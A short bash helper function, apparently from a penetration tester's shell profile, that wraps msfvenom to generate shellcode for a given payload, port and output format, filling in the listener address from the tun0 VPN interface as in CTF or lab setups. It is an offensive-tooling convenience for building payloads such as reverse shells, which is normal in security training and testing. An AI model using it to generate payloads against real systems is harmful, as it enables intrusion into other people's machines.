gen_shellcode() {
  if [[ $# -eq 0 ]]; then
    echo "Usage: gen_shellcode [payload] [LPORT] [output format]"
    return 1
  fi
  msfvenom -p $1 LHOST=$(ip -o -4 a show tun0 | awk '{print $4}' | cut -d/ -f1) LPORT=$2 -f $3;
 }
